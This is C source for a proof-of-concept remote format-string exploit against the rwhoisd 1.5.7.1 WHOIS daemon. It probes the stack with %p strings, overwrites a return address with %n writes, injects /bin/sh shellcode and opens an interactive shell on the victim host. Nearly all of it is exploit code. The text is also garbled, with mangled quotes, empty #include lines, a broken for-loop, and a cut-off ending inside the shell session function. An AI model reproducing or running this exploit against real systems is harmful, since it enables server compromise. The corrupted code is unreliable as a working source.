// proof of concept
// written for rwhoisd 1.5.7.1 compiled on a Linux/i386 system
//
// overwrites return address at 0xbffff8c8 and replaces it with
// address of shellcode (for this binary)
// the shellcode is based on that which was included
// in an exploit written by ‘CowPower’.
// http://www.securityfocus.com/archive/1/222756
#include
#include
#include
#include
#include
#include
#include
extern int errno;
#define FINDME 0x62626262 // we need to find this in the stack
#define TARGET 0xbffff8c8 // the address that we are
overwriting
void gen_str(char *str, int found,int target);
unsigned int brute_force(int s, char *str,char *reply);
void session(int s);
int main(int argc, char *argv[])
{
int s;
fd_set fd;
int amt;
struct sockaddr_in sa;
struct sockaddr_in ca;
int where = 0;
char reply[5000]; // receive buffer
char str[1000]; // send buffer
str[0] = “-”; // – directive prefix
str[1] = “s”;
str[2] = “o”;
str[3] = “a”;
str[4] = “ ”; // padding
str[5] = “ ”; // padding
str[6] = “ ”; // padding
str[7] = “ ”; // padding
*((long *)(str+8)) = FINDME; // find me in the stack
str[12] = “\0”;
bzero(&ca,sizeof(struct sockaddr_in));
bzero(&sa,sizeof(struct sockaddr_in));
if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror(“socket:”);
}
if (bind(s,&ca,sizeof(struct sockaddr_in)) < 0)
{
perror(”bind:”);
}
sa.sin_addr.s_addr = inet_addr(“127.0.0.1”);
sa.sin_port = htons(4321);
sa.sin_family = AF_INET;
if (connect(s,&sa,sizeof(struct sockaddr_in)) < 0)
{
perror(“connect”);
}
where = brute_force(s,reply,str); // brute force
gen_str(str,where,TARGET); // generate exploit
string
write(s,str,strlen(str)); // send exploit code
while(1)
{
amt = read(s,reply,1);
if (reply[0] == “\n”)
break;
}
write(s,“id;\n”,4);
amt = read(s,reply,1024);
reply[amt] = “\0”;
if ((reply[0] == “u”) && (reply[1] == “i”) && (reply[2]
== “d”))
{
printf(“*b00m*: %s\n”,reply);
session(s);
}
else
{
printf(“exploit attempt unsuccessful..\n”);
}
close(s);
exit(0);
}
unsigned int brute_force(int s,char *reply, char *str)
{
// this function searches the stack on the victim host
// for the format string
int foundit = 0;
int amt = 0;
int i = 0;
amt = read(s,reply,500); // read in the header, junk
reply[amt] = “\0”;
while(!foundit)
{
strncat(str,“%010p”,5);
write(s,str,strlen(str)+1);
write(s,“\n”,1);
amt = read(s,reply,1024);
if (amt == 0)
{
fprintf(stderr,“Connection closed.\n”);
close(s);
exit(-1);
}
reply[amt] = “\0”;
amt = 0;
i = 0;
while(reply[amt-1] != “\n”)
{
i += amt;
amt = read(s, reply+i, 1024);
if (amt == 0)
{
fprintf(stderr,“Connection closed.\n”);
close(s);
exit(-1);
}
}
reply[amt] = “\0”;
foundit = find_addr(reply);
}
}
int find_addr(char *str)
{
// this function parses server output.
// searches in words from the stack for
// the format string
char *ptr;
char segment[11];
unsigned long chekit = 0;
int i = 0;
int foundit = 0;
ptr = str + 6;
while((*ptr != “\0”) && (*ptr != “\n”))
{
if((*ptr == “0”) && (*(ptr+1) == “x”))
{
memcpy(segment,ptr,10);
segment[10] = “\0”;
chekit = strtoul(segment,NULL,16);
if(chekit == FINDME)
{
printf(“*b00m*: found address #1: %i words
away.\n”,i);
foundit = i;
return foundit;
}
ptr += 10;
}
else if ((*ptr == “ ”) && (*(ptr+1) == “ ”))
{
ptr += 10; // 0x00000000
}
i++;
}
return foundit;
}
void gen_str(char *str,int num,int target)
{
// this function generates the exploit string
// it contains the addresses to write to,
// the format specifiers (padding, %n’s)
// and the shellcode
int i;
char *shellcode =
“\x90\x31\xdb\x89\xc3\x43\x89\xcb\x41\xb0\x3f\xcd\x80\xeb\x25\x5e”
“\x89\xf3\x83\xc3\xe0\x89\x73\x28\x31\xc0\x88\x43\x27\x89\x43\x2c”
“\x83\xe8\xf5\x8d\x4b\x28\x8d\x53\x2c\x89\xf3\xcd\x80\x31\xdb”
“\x31\xc0\x40\xcd\x80\xe8\xd6\xff\xff\xff/bin/sh”;
memset(str+8,0x41,992); // clean the buffer
*((long *)(str+8)) = TARGET; // place the addresses
*((long *)(str+16)) = TARGET+1; // in the buffer
*((long *)(str+24)) = TARGET+2;
*((long *)(str+32)) = TARGET+3;
*((long *)(str+36)) = TARGET+4;
str[36] = “\0”;
for(i = 0;i {
strncat(str,“%x”,2); // work our way to where target is
}
// the following section is binary dependent
strncat(str,“%227x”,5); // padding
strncat(str,“%n”,2); // first write
strncat(str,“%92x”,4); // padding
strncat(str,“%n”,2); // second write
strncat(str,“%262x”,5); // padding
strncat(str,“%n”,2); // third write
strncat(str,“%192x”,5); // padding
strncat(str,“%n”,2); // fourth write
strncat(str,shellcode,strlen(shellcode)); // insert the
shellcode
strncat(str,»\n»,1); // terminate with a newline
}
void session(int s)
{
// this function facilitates communication with a
// shell exec’d on the victim host.
fd_set fds;
int i;
char buf[1024];
FD_ZERO(&fds);
while(1)
{
FD_SET(s, &fds);
FD_SET(0, &fds);
select(s+1, &fds, NULL, NULL, NULL);
if (FD_ISSET(0,&fds))
{
i = 0;
bzero(buf,sizeof(buf));
fgets(buf,sizeof(buf)-2, stdin);
write(s,buf,strlen(buf));
}
else
if (FD_ISSET(s,&fds))
{
i = 0;